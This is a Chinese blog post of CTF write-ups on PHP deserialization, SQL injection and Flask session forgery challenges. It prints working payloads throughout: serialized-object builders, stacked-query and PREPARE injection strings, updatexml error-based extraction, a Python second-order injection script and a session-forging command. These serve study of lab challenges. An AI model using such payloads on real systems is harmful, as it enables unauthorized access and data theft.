他说你是座头鲸.|

vitara

园龄:3年4个月粉丝:1关注:5

PHP反序列化和SQL注入的一些赛题

一些题目

PHP反序列化

网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;
    
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();//把content写入filename
        } else if($this->op == "2") {//漏洞————此处为等于
            $res = $this->read();//读取filename内容
            $this->output($res);//输出$res
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {//把content写入filename
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//content长度得小于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")//漏洞——————此处为完全等于
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {//确定是否是正常字符
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}
  1. is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。所以应将protected改为public.
  2. 由注释得$op = 2 时可以绕过判断得flag

payload:

<?php
class FileHandler {
    public $op = 2;
    public $filename = 'flag.php';
}
$a = new FileHandler();
$a = serialize($a);
echo $a;
?>
[安洵杯 2019]easy_serialize_php
<?php

$function = @$_GET['f'];

function filter($img)//过滤php,flag,php5,php4,fl1g
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';//把数组元素整合成字符串
    return preg_replace($filter, '', $img);
}


if ($_SESSION) {
    unset($_SESSION);//销毁$_SESSION
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//变量覆盖

if (!$function) {
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if (!$_GET['img_path']) {
    $_SESSION['img'] = base64_encode('guest_img.png');
} else {
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if ($function == 'highlight_file') {
    highlight_file('index.php');
} else if ($function == 'phpinfo') {
    eval('phpinfo();'); //maybe you can find something in here!
} else if ($function == 'show_image') {
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

  1. 既然代码中提示phpinfo中有线索不妨打开phpinfo看看

果然,那么flag应该就在这个文件里面。

  1. filter函数起过滤作用,$_SESSION会被销毁再重新赋值,由于extract()函数得存在,我们可以进行变量覆盖,但是因为在extract()下边有

    $_SESSION['img'] = base64_encode('guest_img.png');

    所以不能直接对$_SESSION[img]直接赋值

  2. 字符逃逸

    只能利用filter()进行绕过(有点像sql注入)

    原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

    示例:

    <?php
    #正规序列化的字符串
    $a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
    var_dump(unserialize($a));
    #带有多余的字符的字符串
    $a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
    var_dump(unserialize($a_laji));
    
    

$_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。

payload:_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,

那么 ;s:1:"1"; 这几个字符呢?

如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。

并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,

s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。

两个键值分别被序列化成了

s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。

右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。

sql注入

[强网杯 2019]随便注

方法一=>重命名&&堆叠注入:

  1. 使用show database()查看表名
  2. show columns from words show columns from 1919810931114514查看字段名
  3. flag在1919810931114514里面,words中的数据与查询窗口数据很像
  4. 猜测查询窗口访问的就是words表,猜测查询语句selsect id,data from words where id =
  5. 利用rename函数与alert函数将1919810931114514改名为words,将words改名为test(什么都可以)
  6. 再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以查flag啦

方法二=>handler

payload:1';handler 1919810931114514 open;handler 1919810931114514 read first;#

参考https://blog.csdn.net/JesseYoung/article/details/40785137?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-1

方法三=>预处理

本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。

char(115,101,108,101,99,116)<----->'select'

三种payload:

payload1:不使用变量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2:使用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1``';PREPARE hacker from concat('``s``','``elect``', '` `* ``from` ``1919810931114514` ');EXECUTE hacker;#

参考:https://www.cnblogs.com/wjw-zm/p/12359735.html

[GXYCTF2019]BabySQli

尝试注入,发现有三个字段,fuzz发现过滤了{(),=,or,information_schema}等,查看网页源码发现提示了md5。不会了,看”junlebao“的博客,根据博客,三个字段中第二,三个字段是用户名和密码。

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>



wrong user!

盲从后台登录逻辑

<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){
echo $flag;
}else{ echo “wrong pass!”;
}}
else{ echo “wrong user!”;}

md5(adc):225e8a3fe20e95f6cd9b9e10bfe5eb69

构造payload:name=1' union select 1,2,'225e8a3fe20e95f6cd9b9e10bfe5eb69'#&pw=adc

参考:https://www.cnblogs.com/junlebao/p/13859371.html

[极客大挑战 2019]BuyFlag

进入pay.php界面,根据提示(HTML中的注释)需要POST money=10e8&&password=404,且身份需要为该校大学生。

brup抓包,cookie栏中user=0,于是将cookie改为user=1,然后POST参数就可以得到flag。

[RCTF2015]EasySQL

index.php界面内有login和register页面,大概能猜到是二次注入,到注册页面用fuzz试一下

img

发现以上字符被过滤,其实#没有被过滤,空格被过滤了。

  • 注册成功后有一个修改密码的功能
  • 它在存入数据库时进行了特殊字符的处理,但是在修改密码这里,从数据库中读取出来时,没有对数据处理
  • 输入1“的时候,会报错

img

可以推测sql语句:select * from user where username = ""and password = ”d41d8cd98f00b204e9800998ecf8427e“

所以这里可以利用报错注入,在注入过程中因为回显不够长,所以需要利用regexp正则匹配,和reverse反序输出(ps.注意括号 我要被括号搞晕了)

payload:

1"||(updatexml(1,concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

1"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

1"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

大佬把这题用脚本解决了

import requests

url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php'
url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php'
url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php'

pre = 'peri0d"'
suf = "'))),1))#"

s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)

r = requests.session()

def register(name):
	data = {
		'username' : name,
		'password' : '123',
		'email' : '123',
	}
	r.post(url=url_reg, data=data)

def login(name):
	data = {
		'username' : name,
		'password' : '123',
	}
	r.post(url=url_log, data=data)
	
def changepwd():
	data = {
		'oldpass' : '',
		'newpass' : '',
	}
	kk = r.post(url=url_change, data=data)
	if 'target' not in kk.text:
		print(kk.text)

for i in s:
	paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
	register(paylaod)
	login(paylaod)
	changepwd()

引用:https://www.cnblogs.com/peri0d/p/11599643.html

HCTF2018-admin

开幕雷击!!!

上来就是index界面,有login和register页面,猜测是二次注入,查看源码,有提示

尝试注册admin“;admin'都不行,且admin账户已被注册,在login界面输入用户名”admin“,密码”123“(弱口令),结果如上。

预期解:我不会写所以参考laolao师傅的的wp,

解法一:flask session伪造

在password change页面的源代码中只有找到提示https://github.com/woadsl1234/hctf_flask/blob/master/app/routes.py

flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为: eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY ,那么我们可以通过如下代码对其进行解密:

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
print("data=",data," ; timestamp = ",timestamp," ; secret = ",secret)
print(base64_decode(data))
print(base64_decode(timestamp))
print(int.from_bytes(base64_decode(timestamp),byteorder='big'))
print(int.from_bytes(base64_decode(secret),byteorder='big'))

//itsdangerous是什么?

有时你想向一个不可信的环境发送一些数据,如何保证安全呢,答案是签名,使用只有你自己知道的秘钥(私钥),来加密签名你的数据,并把加密后的数据发送给别人,当别人取回数据时,你可以确定没人更改过这份数据。
他可以破译你的内容,但是他无法修改你包裹的内容,除非他们也有你的秘钥,只要你保存好你的私钥。
itsdangerous内部默认使用了HMAC和SHA1等加密算法来签名,基于 Django 签名模块。它也支持JSON Web 签名 (JWS)。
应用场景可以用于那个激活。
实例代码如下:

#导入模块,然后呢创建对象设置你的私钥,以及过期时间

from itsdangerous import TimedJSONWebSignatureSerializer as Serializer
#创建序列化对象
#参数一是私钥,参数二为有效期def __init__(self, secret_key, expires_in=None, **kwargs):默认为3600
#注私钥是不能公开的,不然别人会模仿你的私钥加密给别人发送信息,这很危险
serlizer = Serializer("吴勇come on",36000)
#data为加密的数据。
data = serlizer.dumps({"openid":"123456"})

print(data)
data = data.decode('utf-8')
data = data+'d'
data = data.encode('utf-8')
print(serlizer.loads(data))
#可以用于网址的校验你只能点击这个网址,但是你不能修改数据
int.from_bytes函数
    功能:res = int.from_bytes(x)的含义是把bytes类型的变量x,转化为十进制整数,并存入res中。其中bytes类型是python3特有的类型。
    函数参数:int.from_bytes(bytes, byteorder, *, signed=False)。在IDLE或者命令行界面中使用help(int.from_bytes)命令可以查看具体介绍。
            bytes是输入的变量;        base64_decode(timestamp)=b'\\\r\xda\xe0'
            signed=True表示需要考虑符号位。
    举例说明:int_s  = int.from_bytes(s, byteorder='little', signed=True),其中s='\xf1\xff',则输出int_s=-15。
            分析一下过程,'\x'表示十六进制数,先把'f1'写成二进制数:1111 0001,'ff'同上:1111 1111.     #小端法
            由于s的高低位标志是'little',即'f1'是低位,'ff'是高位,所以正确的顺序应该是'fff1',即11111111 1111 0001.
            又因为要考虑符号位,第一位是1,所以s是负数,要进行取反加一才是正确的十进制数(第一位符号位的1不变),可以得到10000000 00001111,写成十进制,就是-15,也就是int_s的结果。  
            上面的例子中,如果signed=False,则无符号位;
            若byteorder='big',则输入s的左边是高位,右边是低位。     #大端法

利用解密脚本解密seesion得到

修改’name‘为admin再利用加密脚本

脚本地址https://github.com/noraj/flask-session-cookie-manager

secret key在config.py中,

输入命令python2 ./flask_session_cookie_manager2.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}"

得session

解法二

使用unicode编码;ᴬᴰᴹᴵᴺ -> ADMIN -> admin;因为代码会在登录栏和改密码栏运行strlower所以用户名会ᴬᴰᴹᴵᴺ -> ADMIN -> admin;但是我不知道ᴬᴰᴹᴵᴺ 这个哪来的,故不在此过多赘述。

参考:https://blog.csdn.net/weixin_44677409/article/details/100733581

https://xz.aliyun.com/t/3569

本文作者:vitara

本文链接:https://www.cnblogs.com/vitara/articles/17198959.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   vitara  阅读(82)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 尚好的青春 孙燕姿
  2. 2 孙燕姿
  3. 3 克卜勒 孙燕姿
- 孙燕姿
00:00 / 00:00
An audio error has occurred, player will skip forward in 2 seconds.